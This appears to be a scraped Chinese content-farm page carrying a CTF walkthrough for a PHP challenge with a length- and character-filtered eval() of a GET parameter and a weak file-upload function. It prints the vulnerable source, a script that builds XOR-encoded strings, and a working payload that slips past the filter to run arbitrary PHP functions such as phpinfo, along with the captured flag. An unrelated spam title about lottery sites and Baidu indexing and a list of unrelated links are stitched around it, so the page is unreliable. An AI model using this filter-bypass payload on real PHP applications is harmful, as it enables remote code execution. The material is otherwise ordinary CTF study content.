当前位置: 首页 > news >正文

彩票销信 网站怎么做手机百度收录提交入口

彩票销信 网站怎么做,手机百度收录提交入口,郑州在线,wordpress导航栏美化进入靶场 代码审计 <?php // 定义函数get_the_flag&#xff0c;功能是处理文件上传相关操作 function get_the_flag() {// 注释说明&#xff1a;webadmin会每隔20分钟删除用户上传的文件$userdir "upload/tmp_" . md5($_SERVER[REMOTE_ADDR]);// 检查用户目录…

进入靶场

代码审计

<?php
// 定义函数get_the_flag,功能是处理文件上传相关操作
function get_the_flag() {// 注释说明:webadmin会每隔20分钟删除用户上传的文件$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);// 检查用户目录是否存在,如果不存在则创建if (!file_exists($userdir)) {mkdir($userdir);}// 检查是否有文件上传if (!empty($_FILES["file"])) {$tmp_name = $_FILES["file"]["tmp_name"];  // 获取上传文件在服务器上的临时文件名$name = $_FILES["file"]["name"];  // 获取上传文件的原始文件名// 获取上传文件的扩展名$extension = substr($name, strrpos($name, ".") + 1);// 检查扩展名是否包含"ph"(不区分大小写),如果包含则终止脚本执行if (preg_match("/ph/i", $extension)) die("^_^");// 检查上传文件内容是否包含"<?", 如果包含则终止脚本执行if (mb_strpos(file_get_contents($tmp_name), '<?')!== False) die("^_^");// 检查上传文件是否是有效的图像类型,不是则终止脚本执行if (!exif_imagetype($tmp_name)) die("^_^");$path = $userdir. "/" . $name;  // 构建上传文件的目标路径// 尝试将上传文件从临时位置移动到目标位置@move_uploaded_file($tmp_name, $path);print_r($path);  // 打印文件的保存路径}
}// 从GET请求参数中获取名为"_"的参数值,并赋值给变量$hhh
$hhh = @$_GET['_'];// 如果$hhh没有值,高亮显示当前文件内容
if (!$hhh) {highlight_file(__FILE__);
}// 如果$hhh的长度大于18,终止脚本执行并输出提示信息
if (strlen($hhh) > 18) {die('One inch long, one inch strong!');
}// 使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))die('Try something else!');// 获取$hhh中使用到的字符,并以字符形式返回
$character_type = count_chars($hhh, 3);
// 如果$character_type的长度大于12,终止脚本执行并输出提示信息
if (strlen($character_type) > 12) die("Almost there!");// 执行$hhh中的PHP代码,存在严重的代码执行漏洞风险
eval($hhh);
?>

 实现了文件上传功能,并对上传文件进行了一些限制和检查

条件好苛刻

<?php
// 初始化两个空字符串,用于存储生成的内容
$l = "";
$r = "";
// 将字符串_GET拆分成字符数组
$argv = str_split("_GET");
// 遍历字符数组中的每个字符
for ($i = 0; $i < count($argv); $i++) {// 遍历0到254的整数for ($j = 0; $j < 255; $j++) {// 将字符$j对应的ASCII码值与255进行按位异或操作,然后转换回字符$k = chr($j) ^ chr(255);// 如果异或结果与当前字符匹配if ($k == $argv[$i]) {// 如果$j小于16,在$r中添加十六进制表示时在前面补0if ($j < 16) {$l.= "%ff";$r.= "%0". dechex($j);continue;}$l.= "%ff";$r.= "%". dechex($j);continue;}}
}
// 输出包含$l、字符$和$r的字符串
echo "\{$l`$r\}";
?>

{%ff%ff%ff%ff`%a0%b8%ba%ab}

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 

flag{dc834348-3be9-4eff-abc1-150000430933} 

http://www.yayakq.cn/news/898117/

相关文章:

  • 做同城服务网站比较成功的网站网页加速器手机版
  • 上海 企业网站制wordpress自定义上传头像
  • 一站式最好的建设网站
  • 网站建设丿金手指稳定杭州软件制作
  • 东莞外贸建站模板申请建设银行官方网站
  • 集团企业网站建设重庆一家和兴装饰设计有限公司
  • 金融网站欣赏免费技能培训网
  • 深圳市福田建设局网站网站建设维护学什么科目
  • 重庆好的网站建设如何做网站答题领红包链接
  • qq游戏做任务领铜板网站深圳市创想三维科技有限公司
  • 自己做的网站数据库免费咨询身高发育
  • 网站建设的课程设计报告网站升级公告模板
  • 北海做网站有哪家好贵阳58同城做网站公司有哪些
  • 网站推广怎么写前端刚上班感觉工作做不了
  • 网站建设的任务凡客诚品v
  • 电影网站建设的核心是英文网站常用字体
  • 推广网站的方式网站开发最适合的浏览器
  • 珠海中企网站建设公司wordpress的安装原理
  • 简述营销导向的企业网站建设的步骤北京网站建设 网络推广
  • 北京建设学院网站网站后台改变图片尺寸
  • 怎么做公司网站的二维码2万元自己动手装修房子
  • opencart做视频网站做网站的创始人
  • 网站建设行业 知乎如何建网站免费
  • 做网站的项目介绍公众号的维护与运营
  • 北京网站制作的流程北京燕化工程建设有限公司网站
  • 开发网站用什么语言wordpress子主题空白
  • 做网站公司人员五家渠网站建设
  • 网站建设人文环境ppt模板下载素材网站
  • 网站更改备案网页制作与设计知识点复习
  • 网站模板 登陆公司云网站建设